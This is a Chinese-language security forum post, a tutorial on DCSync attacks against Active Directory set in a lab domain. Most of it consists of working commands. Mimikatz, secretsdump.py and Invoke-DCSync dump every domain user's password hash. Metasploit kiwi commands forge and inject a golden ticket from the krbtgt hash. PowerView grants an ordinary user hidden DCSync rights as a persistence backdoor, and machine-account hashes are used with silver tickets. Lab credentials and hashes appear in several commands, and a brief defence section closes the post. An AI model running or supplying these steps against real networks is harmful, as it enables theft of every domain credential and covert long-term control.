电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 1017 人浏览分享

内网渗透测试:DCSync 攻击技术的利用

[复制链接]
1017 0
DCSync 是什么

在域环境中,不同域控制器DC之间 每15分钟都会有一次域数据的同步。当一个域控制器DC 1想从其他域控制器DC2
获取数据时,DC 1会向 DC2发起一个 GetNCChanges 请求,该请求的数据包括需要同步的数据。如果需要同步的数
据比较多 则会重复上述过程。DCSync 就是利用的这个原理 通过 Directory Replication ServiceDRS服务的
GetNCChanges 接口向域控发起数据同步请求。

QQ截图20210911153814.png

DCSync是域渗透中经常会用到的技术 其被整合在了 Mimikatz 中。在 DCSync 功能出现之前 要想获得域
用户的哈希需要登录域控制器。在域控制器上执行代码才能获得域用户的哈希。
2015年8月 Benjamin Delpy 神器 Mimikatz 的作者)和 Vincent Le Toux 发布了新版本的 Mimikatz 新增加了DCSync
功能。该功能可以模仿一个域控制器。从真实的域控制器中请求数据 例如用户的哈希。该功能最大的特点就是不用登陆域
控制器即可远程通过域数据同步复制的方式获得域控制器上的的数据。
注意:DCSync 攻击的对象如果是只读域控制器 RODC则会失效 因为RODC是不能参与
复制同步数据到其他DC的。

在默认情况下 只有 Administrators Domain Controllers 和 Enterprise Domain Admins 组内
的用户有权限使用 DCSync,但我们可以对域内普通用户添加 ACL (Access Control List) 实现
普通用户也能调用 DCSync 功能。

利用 DCSync 导出域内哈希

当我们获取相应的权限后 可以利用 DCSync 功能导出域内用户的哈希值。其原理就是利用 DRS
Directory Replication Service协议通过 IDL_DRSGetNCChanges 从域控制器复制用户哈希凭
据获得了域内用户的哈希后可以进一步利用。

通过 Mimikatz

在获取权限的域成员主机上执行如下:
  1. # 导出域内指定用户的信息(包括哈希值)
  2. lsadump::dcsync /domain:whoamianony.org /user:administrator
  3. lsadump::dcsync /domain:whoamianony.org /user:administrator /csv
  4. # 导出域内所有用户的信息(包括哈希值)
  5. lsadump::dcsync /domain:whoamianony.org /all   
  6. lsadump::dcsync /domain:whoamianony.org /all /csv
复制代码

QQ截图20210911154145.png

如上图所示 成功获取 Administrator 用户的 NTLM 哈希。

通过 Secretsdump.py

项目地址:https://github.com/SecureAuthCorp/impacket/tree/impacket_0_9_22
Secretsdump.py 是 Impacket 框架中的一个脚本。该脚本也可以通过 DCSync 技术导出域控制器上用户的哈希该
工具的原理是首先使用提供的用户登录凭据通过 smbexec 或者 wmiexec远程连接至域控制器并获得高权限进而从
注册表中导出本地帐户的哈希,同时通过 Dcsync 或从 NTDS.dit 文件中导出所有域用户的哈希。其最大的优点是
支持从域外的计算机连接至域控制器。

使用方法如下:
  1. python3 secretsdump.py whoamianony/administrator:Whoami2021@192.168.93.30 -dc-ip
  2. 192.168.93.30 -just-dc-user administrator    # 获取 administrator 用户的哈希
  3. # python3 secretsdump.py domain/<username for DCSync>:password@<dc-ip
  4. > -dc-ip <dc-ip> -just-dc-user <username for DCSync>
复制代码

QQ截图20210911154346.png

  1. python3 secretsdump.py whoamianony/administrator:Whoami2021@192.168.93.30
  2. # 获取所有域用户哈希, 包括机器用户
复制代码

100.png

通过 PowerShell

项目地址:https://gist.github.com/monoxgas/9d238accd969550136db#file-invoke-dcsync-ps1

该脚本可以通过 Invoke-ReflectivePEinjection 调用 mimikatz.dll 中的 DCSync 功能

在获取权限的域成员主机上执行如下命令即可:
  1. Import-Module .\Invoke-DCSync.ps1
  2. # 导出域内所有用户的哈希值
  3. Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize
  4. # 导出域内指定用户的哈希值
  5. Invoke-DCSync -DumpForest | ft -wrap -autosize
复制代码

利用 DCSync 制作黄金票据

在域渗透中 我们可以通过 DCSync 导出域控制器中 krbtgt 账户的哈希并利用krbtgt
账户的哈希制作黄金票据。

测试环境如下:

99.png

假设攻击者已经拿下了内网主机 Windows 10 下面演示如何在内网中利用 DCSync制作
黄金票据来访问DC 上的资源。

拿下 Windows 10 主机之后 我们加载 kiwi 模块:
  1. load kiwi
复制代码

98.png

然后通过kiwi_cmd执行 Mimikatz 命令 使用 Mimikatz 的 DCSync 功能导出域控制器中 krbtgt 账户的哈希:
  1. kiwi_cmd "lsadump::dcsync /domain:whoamianony.org /user:krbtgt"
复制代码

96.png

然后我们便可以通过 krbtgt 账户的哈希生成黄金票据了:
  1. golden_ticket_create -u Administrator -d whoamianony.org -s S-1-5-21-1315137663-370
  2. 6837544-1429009142 -k 6be58bfcc0a164af2408d1d3bd313c2a -t gold.tck
复制代码

执行后生成的票据会咱是存放在你的 Kali 上,然后执行以下命令 清空目标主机上的票据:
  1. kerberos_ticket_purge
复制代码

93.png

最后使用kerberos_ticket_use注入刚才生成的票据即可:
  1. kerberos_ticket_use gold.tck
复制代码

92.png

如上图所示,票据成功注入。此时 攻击者就可以利用 Windows 7 任意访问域控上的资源了:
  1. dir \\DC\c$
复制代码

91.png

有了黄金票据之后的操作就简单了 懂得都懂!

利用 DCSync 进行域内权限维持

我们前面说了 要想利用 DCSync 功能 得要拥有 Administrators、Domain Controllers 或 Enterprise Domain
Admins 组内的用户权限。但是我们就不能让普通域用户拥有 DCSync 的操作权限吗?当然可以!
当我们获得了域内管理员权限后,我们可以修改域内普通用户的权限 使其具有 DCSync 操作权限 那么普通域用户也能导出域
内用户的信息了,这样可以可以做一个隐蔽的后门进行权限维持。具体做法就是为普通域用户添加三条 ACE 访问控制项:
  1. DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
  2. DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
  3. DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)
复制代码

我们可以通过 Empire 框架中的 PowerView.ps1 脚本实现:
  1. Import-Module .\powerview.ps1
  2. # 为域用户 whoami 添加以上三条 ACE
  3. Add-DomainObjectAcl -TargetIdentity "DC=whoamianony,DC=org" -PrincipalId
  4. entity whoami -Rights DCSync -Verbose
  5. # 为域用户 whoami 删除以上三条 ACE
  6. Remove-DomainObjectAcl -TargetIdentity "DC=whoamianony,DC=org" -Princi
  7. palIdentity whoami -Rights DCSync -Verbose
复制代码

90.png

此时域用户 whoami 便具有了 DCSync 权限。之后便可以用这个 whoami用户的权限进行 DCSync攻击了。

我们可以利用 whoami 用户的身份,通过 Secretsdump.py 的 DCSync 功能导出 DC 上的用户哈希。
  1. python3 secretsdump.py whoamianony/whoami:Whoami2021@192.168
  2. .93.30 -dc-ip 192.168.93.30 -just-dc-user administrator
复制代码

89.png

还可以先使用runas实现登录 whoami 用户 然后再使用 DCSync。

首先执行以下命令弹出一个 whoami 用户登录权限的 CMD:
  1. runas /noprofile /user:whoamianony\whoami cmd
复制代码

然后在弹出的 CMD 中执行 Mimikatz 进行 DCSync 即可:
  1. mimikatz.exe privilege::debug "lsadump::dcsync /domain:whoamianony.org /all /csv" exit
复制代码

88.png

同样 也可以先使用 PowerShell 实现登录 whoami 用户,然后再使用 DCSync。

首先执行以下命令弹出一个 whoami 用户登录权限的 CMD:
  1. $uname="whoamianony\whoami"
  2. $pwd=ConvertTo-SecureString "Whoami2021" -AsPlainText –Force
  3. $cred=New-Object System.Management.Automation.PSCredential($uname,$pwd)
  4. Start-Process -FilePath "cmd.exe" -Credential $cred
复制代码

然后再弹出的 CMD 中执行 Mimikatz 进行 DCSync 即可:
  1. mimikatz.exe privilege::debug "lsadump::dcsync /domain:whoamianony.org /all /csv" exit
复制代码

查询域内具有 DCSync 权限的用户

我们可以使用 Adfind 来查询域内具有 DCSync 权限的用户:
  1. AdFind.exe -s subtree -b "DC=whoamianony,DC=org" -sdna nTSecurityDescriptor -sddl+
  2. ++ -sddlfilter ;;;"Replicating Directory Changes";; -recmute
  3. AdFind.exe -s subtree -b "DC=whoamianony,DC=org" -sdna nTSecurityDescriptor -sd
  4. dl+++ -sddlfilter ;;;"DS-Replication-Get-Changes";; -recmute
复制代码

39.png

使用机器账户(MachineAccount)实现 DCSync

MachineAccount 即机器账号 计算机账号 是每台计算机在安装系统后默认生成的帐户。所有加入域的也主机
都会有一个机器用户 用户名为机器名加$ 如:WIN7$、WINXP$。
计算机帐户的密码存储在注册表中的位置为:
  1. HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\$machine.ACC
  2. # 该注册表键路径只能在 SYSTEM 权限下访问
复制代码

如果计算机加入域中 会将计算机帐户的密码同步到域控制器并保存在域控制器的 NTDS.dit 活动目录数据库文件中
计算机帐户的密码默认每 30 天自动更新,密码长度为 120 个字符,所以即使我们获得了计算机帐户密码的哈希值
也几乎无法还原出计算机帐户的明文口令。

要使用机器账户实现 DCSync 首先要做的就是获取机器账户身份的权限 然后再利用机器账户的
身份进行 DCSync 操作。下面进行具体的演示。

首先获取 MachineAccount 的密码哈希

可以直接在域控上使用 Mimikatz 通过注册表文件导出当前计算机帐户的密码哈希。
  1. privilege::debug
  2. token::elevate
  3. lsadump::secrets
复制代码

38.png

也可以在域成员主机上利用 DCSync 导出所有计算机帐户的密码哈希。
  1. mimikatz.exe "lsadump::dcsync /domain:whoamianony.org /all /csv"
复制代码

36.png

  1. python3 secretsdump.py whoamianony/administrator:Whoami2021@192.168.93.30
复制代码

33.png

然后使用 MachineAccount 进行 DCSync

有了机器账号的密码哈希后 我们需要想办法登录到这个机器账号 由于无法破解哈希 我们可以使用白银票据的方法。

利用方式如下:
  1. mimikatz "kerberos::golden /domain:whoamianony.org /sid:S-1-5-21-1315137663-3706837
  2. 544-1429009142 /target:DC.whoamianony.org /service:LDAP /rc4:8e89dfbe74fcae2e993ea2
  3. aa47b6a9c1 /user:krbtgt /ptt" "lsadump::dcsync /domain:whoamianony.org /all /csv" exit
复制代码

32.png

31.png

也可以通过 secretsdump 使用机器账户的哈希从域外的计算机连接至域控制器导出哈希:
  1. python3 secretsdump.py -hashes :8e89dfbe74fcae2e993ea2aa47b6a9c1
  2. whoamianony/DC$@192.168.93.30
复制代码

30.png

注意:如果使用域内普通计算机帐户的密码哈希连接对应的计算机 那么会失败。

DCSync 的防御

DCSync 攻击的原理是模拟域控制器与域控制器之间的数据同步复制。最好的防御方法是给控制
器设置白名单将可信任的资产设置在允许同步的白名单内。
除此之外,我们还应尝试枚举 Active Directory 中所有用户的 ACL 查询出所有特权帐户 检测域内被添加
DCSync权限的用户。Github 上有一个项目 ACLight便提供了这样的功能,只需执行项目中的 Execute-
ACLight2.bat。便会生成以下三个文件:
  1. Privileged Accounts - Layers Analysis.txt
  2. Privileged Accounts Permissions - Final Report.csv
  3. Privileged Accounts Permissions - Irregular Accounts.csv
复制代码

文件中会显示出所有特权帐户。

29.png

28.png

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.